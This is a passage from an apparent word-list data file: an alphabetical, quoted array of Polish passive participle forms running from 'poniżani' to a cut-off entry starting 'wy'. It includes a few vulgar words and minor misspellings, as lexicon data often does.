","poniżani","poniżeni","ponoszeni","ponowieni","ponudzeni","poobcinani","poobcowani","poobczajani","poobijani","poobmacywani","poobracani","poobserwowani","poodbijani","poodcinani","poodgryzani","poodkurzani","poodprawiani","poodsuwani","poodwalani","pooglądani","poograniczani","poopalani","poopiekani","poopwiadani","pootwierani","popadani","popakowani","popaleni","poparzeni","popchani","popędzani","popędzeni","popękani","popełniani","popełnieni","poperfumowani","popierani","popieszczeni","popijani","popilnowani","popisani","popłaceni","popłakiwani","poplamieni","poplątani","popluskani","popodcinani","popodziwiani","popoprawiani","poprani","poprasowani","poprawiani","poprawieni","poproszeni","poprowadzeni","popryskani","poprzebierani","poprzeciągani","poprzecinani","poprzedzani","poprzeglądani","poprzeklinani","poprzekopywani","poprzemieszczani","poprzenoszeni","poprzesadzani","poprześladowani","poprzestawiani","poprzesuwani","poprzewieszani","poprzewracani","poprzycinani","poprzymierzani","poprzytulani","poprzywiązywani","popudrowani","popukani","popularyzowani","popuszczani","popuszczeni","popychani","popykani","popytani","porabiani","porachowani","poranieni","poratowani","porażeni","poręczeni","porównani","porozbierani","porozbijani","porozciągani","porozcinani","porozdawani","porozdzielani","porozmieszczani","poróżnieni","porozpędzani","porozpieszczani","porozprowadzani","porozpruwani","porozrzucani","porozstawiani","porozsyłani","porozumiewani","porozwalani","porozwiązywani","porozwieszani","porozwożeni","portretowani","poruszani","poruszeni","porwani","porysowani","porywani","porządkowani","porządzeni","porzucani","porzuceni","posądzani","posadzeni","posądzeni","pościągani","pościeleni","pościerani","pościgani","pościnani","pościskani","posegregowani","posiadani","posiani","posiekani","posilani","posiłkowani","posileni","posiłowani","posiniaczeni","posiorbani","poskąpieni","poskładani","posklejani","poskramiani","poskręcani","poskrobani","poskromieni","poskubani","posłani","posłodzeni","poślubiani","poślubieni","posługiwani","posmakowani","posmarowani","posoleni","posortowani","pospekulowani","pospieszani","pośpieszani","pośpiewani","pospinani","pospłacani","posprawdzani","posprzątani","posprzedawani","pośredniczeni","possani","postanowieni","postani","postarani","postawieni","postemplowani","posterowani","postradani","postraszeni","postrugani","postrzegani","postrzelani","postrzeleni","postukani","postymulowani","posuwani","poświącani","poświadczeni","poświeceni","poświęceni","poświętowani","poświntuszeni","posyłani","posypani","posypywani","poszarpani","poszastani","poszatkowani","poszczyceni","poszczypani","poszerzani","poszerzeni","poszorowani","poszpiegowani","poszturchani","poszukani","poszukiwani","poszwędani","poszybowani","potakiwani","potarmoszeni","potasowani","potęgowani","potępiani","potępieni","potoczeni","potopieni","potorturowani","potrącani","potrąceni","potraktowani","potrojeni","potrząsani","potrzaskani","potrzymani","Poturbowani","poturlani","potwierdzeni","potykani","poucinani","pouczani","pouczeni","poudawani","poukładani","pouprawiani","poupychani","pourywani","poustawiani","poużywani","powąchani","powachlowani","powalani","powaleni","poważani","powbijani","powciągani","powciskani","powdychani","powęszeni","powetowani","powiadamiani","powiadomieni","powiązani","powiedziani","powiedzeni","powiększani","powielani","powieleni","powierzani","powierzeni","powieszeni","powiewani","powinszowani","powitani","powkładani","powlekani","powłóczeni","powodowani","powołani","powoływani","powożeni","powpychani","powróceni","powrzucani","powsadzani","powspominani","powstrzymani","powtarzani","powtórzeni","powybierani","powybijani","powycierani","powycinani","powyciskani","powydawani","powyganiani","powyginani","powyjaśniani","powyjmowani","powyłączani","powymiatani","powymieniani","powynoszeni","powypełniani","powypisywani","powyrywani","powyrzucani","powystrzelani","powysyłani","powywalani","powywieszani","powywracani","pozabawiani","pozabijani","pozacierani","pożądani","pożądleni","pozadzierani","pozakładani","pozaklinani","pozałatwiani","pozamiatani","pozamieniani","pozamrażani","pozamykani","pozapalani","pozapinani","pozapisywani","pozapraszani","pozasłaniani","pozastrzelani","pozatykani","pozbawiani","pozbawieni","pozbierani","pozbywani","pozdejmowani","pozdrawiani","pozdrowieni","pożegnani","pożerani","pozmiatani","pozmieniani","pozmywani","poznaczeni","poznani","poznawani","poznęcani","pozorowani","pozostawiani","pozostawieni","pozowani","pozrywani","pozszywani","pozwalniani","pozwani","pozwiązywani","pozwiedzani","pozwoleni","pożyczani","pożyczeni","pozyskani","pozywani","pożywiani","pożywieni","praktykowani","prani","prasowani","prawieni","prażeni","precyzowani","preferowani","prenumerowani","prezentowani","próbowani","procesowani","produkowani","profanowani","profilowani","prognozowani","programowani","projektowani","proklamowani","prolongowani","promieniowani","promowani","propagowani","proponowani","prosperowani","prostowani","proszkowani","proszeni","protestowani","protokołowani","prowadzeni","prowokowani","pryskani","przeanalizowani","przearanżowani","przebaczani","przebaczeni","przebadani","przebierani","przebijani","przeboleni","przebrani","przebudowani","przebudowywani","przebudzani","przebudzeni","przebukowani","przebywani","przeceniani","przecenieni","przechlapani","przechodzeni","przechowani","przechowywani","przechrzceni","przechwyceni","przechwytywani","przechylani","przechyleni","przechytrzani","przechytrzeni","przeciągani","przeciążani","przeciążeni","przeciekani","przecierani","przecierpiani","przecinani","przeciskani","przeciwstawiani","przećwiczeni","przeczekani","przeczesani","przeczesywani","przeczołgani","przeczuwani","przeczyszczeni","przeczytani","przedawkowani","przedawkowywani","przedekorowani","przedłożeni","przedłużani","przedłużeni","przedmuchani","przedobrzeni","przedostani","przedostawani","przedstawiani","przedstawieni","przedymani","przedyskutowani","przedzierani","przedziurawieni","przedziurkowani","przeegzaminowani","przefaksowani","przefarbowani","przefasonowani","przefasowani","przefaxowani","przefiltrowani","przeformowani","przeforsowani","przegadani","przeganani","przeganiani","przegapiani","przegapieni","przeginani","przeglądani","przegłodzeni","przegłosowani","przegonieni","przegotowani","przegotowywani","przegrabieni","przegradzani","przegrani","przegrupowani","przegrupowywani","przegrywani","przegryzani","przegryzieni","przegrzani","przegrzebani","przegrzewani","przehandlowani","przeholowani","przeinstalowani","przeistoczeni","przejadani","przejaskrawiani","przejaśnieni","przejawiani","przejawieni","przejechani","przejeżdżani","przejmowani","przejrzani","przekabacani","przekabaceni","przekablowani","przekalibrowani","przekalkulowani","przekarmiani","przekąszeni","przekazywani","przekierowani","przekierowywani","przekimani","przekładani","przeklejeni","przeklinani","przekonani","przekonfigurowani","przekonstruowani","przekonwertowani","przekonywani","przekopani","przekopywani","przekoziołkowani","przekraczani","przekręcani","przekręceni","przekreślani","przekreśleni","przekroczeni","przekrojeni","przekrzyczeni","przekrzywieni","przekształcani","przekształceni","przekupieni","przekupywani","przekwalifikowani","przełączani","przełączeni","przeładowani","przeładowywani","przełamani","przełamywani","przelani","przelatywani","przeleciani","przelewani","przeleżani","przelicytowani","przeliczani","przeliczeni","przeliterowani","przełożeni","przełykani","przemalowani","przemalowywani","przemaszerowani","przemawiani","przemeblowani","przemęczeni","przemieleni","przemieniani","przemierzeni","przemieszczani","przemieszczeni","przemijani","przemilczani","przemilczeni","przemodelowani","przemusztrowani","przemycani","przemyceni","przemyślani","przemyśleni","przemywani","przenegocjowani","przeniesieni","przenikani","przenoszeni","przeobrażani","przeobrażeni","przeoczani","przeoczeni","przeorani","przeorganizowani","przeorientowani","przepadani","przepakowani","przepaleni","przeparkowani","przepchani","przepędzani","przepędzeni","przepełniani","przepełnieni","przepijani","przepiłowani","przepisani","przepisywani","przepłacani","przepłaceni","przepłakani","przeplanowani","przepłoszeni","przepłukani","przepłukiwani","przepływani","przepompowani","przepompowywani","przepowiadani","przepowiedziani","przepracowani","przepracowywani","przeprani","przeprawiani","przeprawieni","przeprogramowani","przeprojektowani","przeprowadzani","przeprowadzeni","przepuszczani","przepuszczeni","przepychani","przepytani","przepytywani","przerąbani","przerabiani","przeradzani","przerastani","przerażeni","przeredagowani","przerejestrowani","przerobieni","przerodzeni","przerwani","przerysowani","przerywani","przerzedzani","przerzucani","przerzuceni","przesączeni","przesadzani","przesądzani","przesadzeni","przesądzeni","prześcigani","przesiadani","przesiadywani","przesiani","przesiedlani","przesiedleni","przesiedziani","przesiewani","przesileni","przeskakiwani","przeskalowani","przeskanowani","przeskoczeni","przeskrobani","prześladowani","przesłaniani","przesłani","prześledzeni","przesłodzeni","przesłuchani","przesłuchiwani","przesmarowani","przesoleni","przesortowani","przespani","prześpiewani","przessani","przestawiani","przestawieni","przestemplowani","przestraszeni","przestrojeni","przestrzegani","przestrzeleni","przestudiowani","przesuwani","prześwietlani","prześwietleni","przesyłani","przesypani","przesypiani","przesypywani","przeszarżowani","przeszczepiani","przeszczepieni","przeszkadzani","przeszkoleni","przeszmuglowani","przeszukani","przeszukiwani","przeszywani","przetaczani","przetapetowani","przetestowani","przetkani","przetoczeni","przetopieni","przetrąceni","przetransformowani","przetransmitowani","przetransponowani","przetransportowani","przetrawieni","przetrwani","przetrząsani","przetrzepani","przetrzymani","przetrzymywani","przetwarzani","przetworzeni","przewalani","przewalczeni","przewaletowani","przewaleni","przeważani","przeważeni","przewertowani","przewiązani","przewiązywani","przewidywani","przewidziani","przewiercani","przewierceni","przewieszani","przewieszeni","przewietrzeni","przewiezieni","przewijani","przewitani","przewodniczeni","przewodzeni","przewożeni","przewracani","przewróceni","przewyższani","przeymierzani","przeżeglowani","przeżegnani","przeziębieni","przezimowani","przeznaczani","przeznaczeni","przezwyciężani","przezwyciężeni","przezywani","przeżywani","przodowani","przpochlebieni","przwdziewani","przybastowani","przybierani","przybijani","przybliżani","przybliżeni","przybrani","przycelowani","przycepieni","przychyleni","przyciągani","przyciemnieni","przycinani","przyciskani","przyciszeni","przyćmiewani","przyćmieni","przycumowani","przyczepiani","przyczesani","przyczołgani","przyczynieni","przydeptani","przyduszeni","przydzielani","przydzieleni","przygaszeni","przygazowani","przygładzani","przygnębiani","przygniatani","przygniecieni","przygotowani","przygruchani","przygrywani","przygryzani","przygryzieni","przygrzani","przygwożdżeni","przyhamowani","przyholowani","przyjani","przyjmowani","przyjrzani","przykładani","przyklejeni","przyklepani","przykopani","przykręcani","przykręceni","przykróceni","przykrywani","przykurzeni","przykuwani","przyłączani","przyłączeni","przylani","przyłapani","przylegani","przylepiani","przylepieni","przyłożeni","przymierzeni","przymilani","przymocowani","przymuszani","przynależeni","przyniesieni","przynoszeni","przynudzani","przyostrzeni","przyozdabiani","przyozdobieni","przypakowani","przypakowywani","przypalani","przypaleni","przypasowani","przypatrywani","przypatrzeni","przypieczętowani","przypiekani","przypierani","przypilnowani","przypiłowani","przypinani","przypisani","przypisywani","przypłaceni","przyplątani","przypodobani","przypominani","przypomniani","przyporządkowani","przyprawiani","przyprawieni","przyprowadzeni","przypucowani","przypudrowani","przypuszczani","przypuszczeni","przyrównani","przyrządzani","przyrządzeni","przysiadani","przyskrzydleni","przyskrzyniani","przyskrzynieni","przysłaniani","przysłani","przysłodzeni","przysłonieni","przysłuchiwani","przysługiwani","przysłużeni","przysmażani","przysmażeni","przyspieszani","przyspieszeni","przysporzeni","przysposobieni","przyśrubowywani","przyssani","przystąpieni","przystawiani","przystawieni","przystemplowani","przystopowani","przystosowani","przystrojeni","przysuwani","przyswajani","przyświecani","przyświęceni","przyswojeni","przysyłani","przysypani","przyszpileni","przyszykowani","przyszywani","przytaczani","przytargani","przytaszczani","przytępiani","przytępieni","przytkani","przytłaczani","przytłoczeni","przytłumieni","przytoczeni","przytrafieni","przytroczeni","przytruwani","przytrzymani","przytrzymywani","przytulani","przytuleni","przytwierdzani","przytwierdzeni","przytykani","przyuczeni","przyuważeni","przywabieni","przywalani","przywaleni","przywarowani","przywdziani","przywiązani","przywiązywani","przywidziani","przywiezieni","przywitani","przywłaszczani","przywłaszczeni","przywołani","przywoływani","przywożeni","przywracani","przywróceni","przyznaczeni","przyznani","przyznawani","przyzwalani","przyzwani","przyzwyczajani","przyzwyczajeni","przyzywani","psiamani","pstrykani","publikowani","pucowani","pudłowani","pudrowani","punktowani","pustoszeni","puszczani","puszczeni","puszkowani","puszeni","pykani","pytani","rabowani","rachowani","racjonalizowani","racjonowani","raczeni","radowani","ranieni","raportowani","ratowani","ratyfikowani","reaktywowani","realizowani","reanimowani","recytowani","ręczeni","redagowani","redukowani","reformowani","refowani","regenerowani","regionalizowani","regulowani","reinkarnowani","rejestrowani","reklamowani","rekomendowani","rekompensowani","rekonstruowani","rekreowani","rekrutowani","rekwirowani","relacjonowani","relaksowani","remodulowani","remontowani","renegocjowani","reorganizowani","reperowani","replikowani","represejonowani","reprezentowani","reprodukowani","resetowani","resocjalizowani","respektowani","resuscytowani","retuszowani","rewanżowani","rewidowani","rezerwowani","rezonowani","rezygnowani","reżyserowani","robieni","rodzeni","rojeni","rolowani","romansowani","ronieni","rozbawiani","rozbawieni","rozbierani","rozbijani","rozbrajani","rozbrojeni","rozbudowani","rozbudowywani","rozbudzani","rozbudzeni","rozbujani","rozcapierzeni","rozchmurzeni","rozchodzeni","rozchylani","rozchyleni","rozciągani","rozcieńczani","rozcieńczeni","rozcierani","rozcinani","rozczarowani","rozczarowywani","rozczesani","rozczłonkowani","rozczulani","rozczytani","rozdani","rozdawani","rozdeptani","rozdmuchani","rozdmuchiwani","rozdrabniani","rozdrapani","rozdrapywani","rozdrażniani","rozdrażnieni","rozduszeni","rozdwojeni","rozdysponowani","rozdzielani","rozdzieleni","rozdzierani","rozdziewiczeni","rozebrani","rozedrani","rozegrani","rozegrywani","rozepchani","rozerwani","rozesłani","rozgaszczani","rozglaszani","rozgłoszeni","rozgniatani","rozgniecieni","rozgniewani","rozgonieni","rozgraniczeni","rozgrani","rozgromieni","rozgrywani","rozgryzani","rozgryzieni","rozgrzani","rozgrzebywani","rozgrzeszeni","rozgrzewani","rozhuśtani","rozjaśniani","rozjaśnieni","rozjechani","rozjedzeni","rozjuszani","rozjuszeni","rozkazani","rozkazywani","rozkładani","rozklejani","rozklejeni","rozkołysani","rozkopani","rozkopywani","rozkoszowani","rozkręcani","rozkręceni","rozkrojeni","rozkruszeni","rozkuwani","rozkwaszeni","rozkwaterowani","rozkwitani","rozłączeni","rozładowani","rozładowywani","rozłamani","rozlani","rozlewani","rozliczani","rozliczeni","rozlokowani","rozłożeni","rozłupani","rozluźniani","rozmanażani","rozmasowani","rozmawiani","rozmazani","rozmazywani","rozmiękczeni","rozmieniani","rozmienieni","rozmieszczani","rozmieszczeni","rozmnożeni","rozmontowani","rozmówieni","rozmrażani","rozmrożeni","rozmyślani","różnicowani","rozniecani","rozniecieni","rozniesieni","różnieni","roznoszeni","rozochoceni","rozpaczani","rozpakowani","rozpakowywani","rozpalani","rozpaleni","rozpamiętywani","rozpaskudzani","rozpatrywani","rozpatrzeni","rozpędzani","rozpędzeni","rozpętani","rozpieszczani","rozpieszczeni","rozpiłowani","rozpinani","rozpisani","rozpisywani","rozplanowani","rozpłaszczani","rozpłaszczeni","rozplątani","rozplątywani","rozpoczynani","rozpogodzeni","rozporządzani","rozporządzeni","rozpościerani","rozpostrzeni","rozpowiadani","rozpowiedziani","rozpowszechniani","rozpowszechnieni","rozpoznani","rozpoznawani","rozpracowani","rozpraszani","rozprawiani","rozprawiczeni","rozprawieni","rozprostowani","rozproszeni","rozprowadzani","rozprowadzeni","rozpruwani","rozprzestrzeniani","rozprzestrzenieni","rozpuszczani","rozpuszczeni","rozpychani","rozpylani","rozpyleni","rozpytani","rozpytywani","rozrastani","rozreklamowani","rozrobieni","rozróżniani","rozróżnieni","rozruszani","rozrysowani","rozrywani","rozrzucani","rozsadzani","rozsadzeni","rozsądzeni","rozścieleni","rozsiani","rozsiekani","rozsiewani","rozsiodłani","rozsławiani","rozsławieni","rozsmarowani","rozsmarowywani","rozśmieszani","rozstani","rozstąpieni","rozstawani","rozstawiani","rozstawieni","rozstrojeni","rozstrząsani","rozstrzeliwani","rozstrzeleni","rozstrzygani","rozsupłani","rozświetlani","rozświetleni","rozsyłani","rozsypani","rozsypywani","rozszarpani","rozszarpywani","rozszczepiani","rozszczepieni","rozszerzani","rozszerzeni","rozszyfrowani","roztaczani","roztapiani","roztoczeni","roztopieni","roztrwonieni","roztrząsani","roztrzaskani","rozumiani","rozumowani","rozwalani","rozwaleni","rozważani","rozważeni","rozweselani","rozweseleni","rozwiani","rozwiązani","rozwiązywani","rozwidniani","rozwiedzieni","rozwierani","rozwierceni","rozwieszani","rozwieszeni","rozwiewani","rozwiezieni","rozwikłani","rozwlekani","rozwodzeni","rozwścieczani","rozwścieczeni","rozzłoszczeni","rugani","ruinowani","rujnowani","ruszani","ruszeni","rwani","ryczani","ryglowani","rymowani","rysowani","ryzykowani","rządzeni","rzeźbieni","rzucani","rzuceni","rzygani","sabotażowani","sączeni","sadzani","sadzeni","sądzeni","salutowani","salwowani","sankcjonowani","satysfakcjonowani","scaleni","scementowani","scentrowani","scharakteryzowani","schładzani","schlani","schlapani","schlebieni","schłodzeni","schowani","schronieni","schrupani","schrzanieni","schwytani","schylani","ścieleni","ściemniani","ściemnieni","ścierani","ścierpieni","ścigani","ścinani","ściskani","ściszani","ściszeni","sędziowani","segregowani","selekcjonowani","separowani","sępieni","serwowani","sfabrykowani","sfajczeni","sfałszowani","sfaulowani","sfilmowani","sfinalizowani","sfinansowani","sfingowani","sformalizowani","sformatowani","sformowani","sformułowani","sforsowani","sfotografowani","shimmerowani","siani","siekani","siorbani","skadrowani","skakani","skalani","skaleczeni","skalibrowani","skalkulowani","skalpowani","skanalizowani","skandowani","skanowani","skapitulowani","skarceni","skarżeni","skasowani","skatalogowani","skazani","skażeni","skazywani","skierowani","składani","składowani","skłaniani","sklasyfikowani","sklecieni","sklejani","sklejeni","sklepani","skłóceni","skłonieni","sklonowani","sknoceni","skojarzeni","skolonizowani","skołowani","skombinowani","skomentowani","skompensowani","skompletowani","skomplikowani","skomponowani","skompresowani","skompromitowani","skomunikowani","skonani","skoncentrowani","skończeni","skondensowani","skonfigurowani","skonfiskowani","skonfrontowani","skonkretyzowani","skonsolidowani","skonstruowani","skonsultowani","skonsumowani","skontaktowani","skontrolowani","skoordynowani","skopani","skopiowani","skorektowani","skorumpowani","skorygowani","skorzystani","skoszeni","skracani","skradzieni","skręcani","skręceni","skremowani","skreślani","skreśleni","skrobani","skróceni","skrojeni","skropieni","skruszeni","skrystalizowani","skrytykowani","skrywani","skrzecowani","skrzyczani","skrzywdzeni","skrzyżowani","skserowani","skubani","skuleni","skumulowani","skupiani","skupieni","skupowani","skurczeni","skuszeni","skuwani","skwitowani","słani","sławieni","śledzeni","ślinieni","ślizgani","słodzeni","słuchani","słyszani","smagani","smarowani","smażeni","śmieceni","smyrani","sondowani","sortowani","spafycikowani","spakowani","spalani","spałaszowani","spaleni","spałowani","spamiętani","spaprani","sparafrazowani","sparaliżowani","sparowani","spartaczeni","spartoleni","sparzeni","spasowani","spatałaszeni","spauzowani","spawani","spawieni","specjalizowani","spędzani","spędzeni","spekulowani","spełniani","spełnieni","spenetrowani","spętani","spierani","śpiewani","spiłowani","spinani","spisani","spiskowani","spisywani","spłacani","spłaceni","splądrowani","splajtowani","splamieni","spłaszczeni","splatani","splątani","spłatani","spławiani","spławieni","spłodzeni","spłoszeni","spłukani","spłukiwani","spluwani","spływani","spoczywani","spodziewani","spojeni","spolaryzowani","spoliczkowani","sponiewierani","sponsorowani","spopielani","spopieleni","spopularyzowani","sportretowani","sporządzani","sporządzeni","spostrzegani","spotęgowani","spotkani","spotykani","spoufalani","spowalniani","spowiadani","spowodowani","spowolnieni","spoźnieni","spóźnieni","spożytkowani","spożywani","sprani","sprasowani","spraszani","sprawdzeni","sprawieni","sprawowani","sprecyzowani","spreparowani","sprężani","sprężeni","spróbowani","sprofanowani","sprofilowani","sprostowani","sproszkowani","sproszeni","sprowadzani","sprowadzeni","sprowokowani","spryskani","spryskiwani","sprywatyzowani","sprzątani","sprzeczani","sprzedani","sprzedawani","sprzeniewierzeni","spudłowani","spustoszeni","spuszczani","spuszczeni","spychani","ssani","stabilizowani","stacjonowani","staczani","staranowani","starczani","stargowani","startowani","stawiani","stawieni","stemplowani","stenografowani","stepowani","sterowani","sterroryzowani","sterylizowani","stłamszeni","stłumieni","stoczeni","stołowani","stonowani","stopieni","stopniowani","storpedowani","stosowani","strącani","straceni","strąceni","strajkowani","straszeni","stratowani","strawieni","streamowani","stresowani","streszczani","streszczeni","strofowani","strojeni","stroszeni","strugani","strymowani","strząsani","strzaskani","strzeleni","strzepani","strzępieni","strzepywani","studiowani","studzeni","stukani","stuleni","stwardnieni","stwarzani","stwierdzani","stwierdzeni","stworzeni","stykani","stylizowani","stymulowani","sugerowani","sumowani","swatani","swawoleni","świadczeni","świeceni","święceni","świerzbieni","świętowani","świntuszeni","syceni","sygnalizowani","symulowani","synchronizowani","sypani","szachrowani","szacowani","szafowani","szamotani","szanowani","szargani","szarpani","szarżowani","szasowani","szastani","szatkowani","szczędzeni","szczepieni","szczerzeni","szczyceni","szczypani","szczytowani","szefowani","szemrani","szeptani","szerzeni","szkalowani","szkicowani","szkleni","szkodzeni","szkoleni","szlachtowani","szlifowani","szmuglowani","szokowani","szorowani","szpachlowani","szpanowani","szperani","szprycowani","szturchani","szturmowani","szufladkowani","szuflowani","szukani","szulerowani","szwankowani","szydełkowani","szydzeni","szyfrowani","szykanowani","szykowani","taktowani","tamowani","tankowani","tapetowani","taplani","taranowani","targani","targowani","tarmoszeni","tarzani","tasowani","taszczeni","tatuowani","telefonowani","telegrfowani","teleportowani","temperowani","teoretyzowani","tępieni","terroryzowani","testowani","tkani","tłamszeni","tłoczeni","tłumaczeni","tłumieni","toczeni","tolerowani","tonowani","topieni","torowani","torturowani","towarzyszeni","trąbieni","trącani","traceni","trąceni","trafiani","trafieni","tragizowani","traktowani","transferowani","transformowani","transmitowani","transportowani","tratowani","trawieni","trenowani","tresowani","triumfowani","tropieni","troszczeni","trwonieni","trymowani","tryskani","tryumfowani","trywializowani","trzaskani","trzepani","trzepotani","trzęsieni","trzymani","tuczeni","tułani","tuleni","turlani","tuszowani","twistowani","tworzeni","tykani","tyranizowani","tyrani","tytułowani","uaktualniani","uaktualnieni","uaktywniani","uaktywnieni","uargumentowani","uatrakcyjnieni","ubabrani","ubarwiani","ubarwieni","ubawieni","ubezpieczani","ubezpieczeni","ubezwłasnowolnieni","ubiczowani","ubiegani","ubierani","ubijani","ubłagani","ubliżani","ubliżeni","ubolewani","ubóstwiani","ubrani","ubroczeni","ubrudzeni","ucałowani","ucharakteryzowani","uchowani","uchronieni","uchwalani","uchwaleni","uchwyceni","uchylani","uchyleni","ucieleśniani","ucierani","ucierpiani","ucinani","uciskani","uciszani","uciszeni","uciułani","ucywilizowani","uczczeni","uczepieni","uczesani","uczęszczani","uczeni","ucztowani","uczynieni","udani","udaremnieni","udawani","udekorowani","udeptywani","uderzani","uderzeni","udobruchani","udokumentowani","udomawiani","udomowieni","udoskonalani","udoskonaleni","udostępniani","udostępnieni","udowadniani","udowodnieni","Udramatyzowani","udręczeni","udrożnieni","udupieni","uduszeni","udzielani","udzieleni","ueiwarygodnieni","ufani","ufarbowani","uformowani","ufortyfikowani","ufundowani","ugadani","uganiani","ugaszani","ugaszeni","uginani","ugłaskani","ugniatani","ugodzeni","ugoszczeni","ugotowani","ugrani","ugruntowani","ugryzieni","uhistoryzowani","uhonorowani","ujadani","ujarzmiani","ujarzmieni","ujawniani","ujawnieni","ujeżdżani","ujeżdżeni","ujmowani","ujrzani","ukamieniowani","ukarani","ukartowani","ukąszeni","ukatrupieni","ukazani","ukazywani","ukierowani","ukierunkowani","układani","uklepani","ukłonieni","ukojeni","ukołysani","ukończeni","ukonkretnieni","ukoronowani","ukradzieni","ukręcani","ukręceni","ukrojeni","ukrywani","ukrzyżowani","ukształtowani","ułagodzeni","ułaskawiani","ułaskawieni","ulatniani","ułatwiani","ułatwieni","uleczani","uleczeni","ulegani","ulepieni","ulepszani","ulepszeni","ulokowani","ulotnieni","ułożeni","umacniani","umalowani","umartwiani","umawiani","umazani","umeblowani","umiejscowieni","umieszczani","umieszczeni","umilani","umileni","umniejszani","umniejszeni","umocnieni","umocowani","umoczeni","umodelowani","umorzeni","umotywowani","umówieni","umożliwiani","umożliwieni","umrocznieni","unaocznieni","unicestwiani","unicestwieni","uniemożliwaini","uniemożliwieni","unierochomieni","uniesieni","unieszczęśliwiani","unieszczęśliwieni","unieszkodliwiani","unieszkodliwieni","unieważniani","unieważnieni","uniewinnieni","uniezależnieni","unikani","unormowani","unoszeni","unowoczesniani","unowocześniani","uodpornieni","uogólniani","upakowani","upalani","upaleni","upamiętniani","upamiętnieni","upaństwowieni","upaprani","upaskudzeni","upchani","upewniani","upewnieni","upgradowani","upiększani","upiększeni","upierani","upierdoleni","upijani","upilnowani","upinani","uplastycznieni","upodabniani","upodobnieni","upojeni","upokorzani","upokorzeni","upolowani","upominani","uporządkowani","upowszechnieni","upozorowani","upozowani","uprani","uprasowani","upraszczani","uprawdopodobnieni","uprawiani","uproszczeni","uproszeni","uprowadzani","uprowadzeni","uprzątani","uprzedeni","uprzedzani","uprzyjemniani","uprzyjemnieni","uprzykrzani","uprzytomnieni","upubliczniani","upublicznieni","upudrowani","upuszczani","upuszczeni","upychani","urabiani","uraczani","uradowani","Urągani","uratowani","urażani","urażeni","uregulowani","urobieni","uronieni","urozmaicani","urozmaiceni","uruchamiani","uruchomieni","urwani","urywani","urządzani","urządzeni","urzeczywistniani","urzeczywistnieni","usadowieni","usadzeni","usamowolnieni","usankcjonowani","usatyfakcjonowani","uściskani","uścisleni","usidleni","usiedzeni","uskładani","uskoczeni","uskuteczniani","uskutecznieni","usłuchani","usługiwani","usłużeni","usłyszani","usmażeni","uśmiani","uśmiercani","uśmierceni","uśmierzeni","uspani","uśpieni","uspokajani","uspokojeni","uspołeczniani","usprawiedliwiani","usprawiedliwieni","usprawnieni","usprzątani","ustabilizowani","ustalani","ustaleni","ustanawiani","ustanowieni","ustąpieni","ustatkowani","ustawiani","ustawieni","ustępowani","ustosunkowani","ustrojeni","ustrzegani","ustrzeleni","ususzeni","usuwani","uświadamiani","uświadczeni","uświadomieni","uświęceni","uświnieni","usychani","usypani","usypiani","usystematyzowani","usytuowani","uszanowani","uszczelniani","uszczęśliwiani","uszczęśliwieni","uszczupleni","uszkadzani","uszkodzeni","uszlachetniani","uszlachetnieni","usztywnieni","uszykowani","utajnieni","utargowani","utemperowani","utkani","utkwieni","utoczeni","utopieni","utorowani","utożsamiani","utożsamieni","utraceni","utrąceni","utrudniani","utrudnieni","utrwalani","utrwaleni","utrzymywani","utuczeni","utuleni","utwierdzani","utwierdzeni","utworzeni","utylizowani","uwalniani","uwaleni","uwarunkowani","uważani","uwiązani","uwiązywani","uwidocznieni","uwieczniani","uwiecznieni","uwielbiani","uwielbieni","uwieńczeni","uwierani","uwierzeni","uwieszeni","uwiezieni","uwięzieni","uwijani","uwikłani","uwłaczani","uwłaszczeni","uwodzeni","uwolnieni","uwsteczniani","uwstecznieni","uwydatniani","uwypikleni","uwzględniani","uwzględnieni","użądleni","uzależniani","uzależnieni","uzasadniani","uzasadnieni","uzbierani","uzbrajani","uzbrojeni","uzdrawiani","uzdrowieni","użerani","uzewnętrzniani","uzewnętrznieni","uzgadniani","uzgodnieni","uziemieni","uzmysłowieni","uznani","uznawani","uzupełniani","uzupełnieni","uzurpowani","użyczani","użyczeni","uzyskani","uzyskiwani","używani","wabieni","wąchani","wachlowani","wahani","walczeni","wałkowani","waleni","ważeni","wbijani","wcelowani","wciągani","wcielani","wcieleni","wcierani","wcinani","wciskani","wczepieni","wczołgani","wczytani","wczytywani","wdani","wdawani","wdeptani","wdetonowani","wdmuchiwani","wdrapani","wdrapywani","wdrażani","wdrążeni","wdrożeni","wduszeni","wdychani","wdzierani","wędkowani","wentylowani","wepchani","werbowani","weryfikowani","wessani","wetkani","wezwani","wgłębiani","wgniatani","wgniecieni","wgrani","wgryzani","wgryzieni","wiązani","wibrowani","widywani","widziani","wiedzeni","wielbieni","wierceni","wierzgani","wierzeni","wieszani","wietrzeni","więżeni","wikłani","windowani","winszowani","wiosłowani","wirowani","witani","wizualizowani","wjeżdżani","wkalkulowani","wkładani","wklejani","wklejeni","wklepani","wkomponowani","wkopani","wkopywani","wkraczani","wkradani","wkradzieni","wkręcani","wkręceni","wkupieni","wkurwiani","wkuwani","włączani","włączeni","władani","władowani","włamani","włamywani","wlani","wlepiani","wlepieni","wlewani","wliczani","wliczeni","włożeni","wmanewrowani","wmanipulowani","wmawiani","wmieszani","wmówieni","wmurowani","wmuszeni","wnerwiani","wnerwieni","wniesieni","wnikani","wnioskowani","wnoszeni","wodowani","wojowani","wołani","woskowani","wożeni","wpajani","wpakowani","wparowani","wpasowani","wpatrywani","wpędzani","wpędzeni","wperswadowani","wpienieni","wpisani","wpisywani","wpłacani","wpłaceni","wplatani","wplątani","wplątywani","wpojeni","wpompowani","wpraszani","wprawiani","wproszeni","wprowadzani","wprowadzeni","wpuszczeni","wpychani","wrabiani","wręczani","wrobieni","wróżeni","wrzucani","wrzuceni","wrzynani","wsadzani","wsadzeni","wskazani","wskazywani","wskórani","wskrzeszani","wskrzeszeni","wślizgiwani","wsłuchani","wspierani","współodczuwani","współtworzeni","wspomagani","wspominani","wspomniani","wstąpieni","wstawiani","wstawieni","wstrząsani","wstrzeleni","wstrzykiwani","wstrzymani","wstrzymywani","wstukani","wsuwani","wsypani","wszamani","wszczepiani","wszczepieni","wszczynani","wtajemniczani","wtajemniczeni","wtapiani","wtaszczeni","wtłoczeni","wtopieni","wtrąceni","wtryniani","wtulani","wtuleni","wtykani","wwaleni","wwiercani","wwierceni","wwiezieni","wwożeni","wyartykułowani","wyautowani","wybaczani","wybaczeni","wybadani","wybatożeni","wybawieni","wybebeszeni","wybełkotani","wybiczowani","wybielani","wybieleni","wybierani","wybijani","wybłagani","wybrandzlowani","wybrani","wybronieni","wybrzydzani","wybuchani","wybudowani","wybudzani","wybudzeni","wyburzani","wyburzeni","wycackani","wycałowani","wyceniani","wycenieni","wychlani","wychłostani","wychodowani","wychowani","wychowywani","wy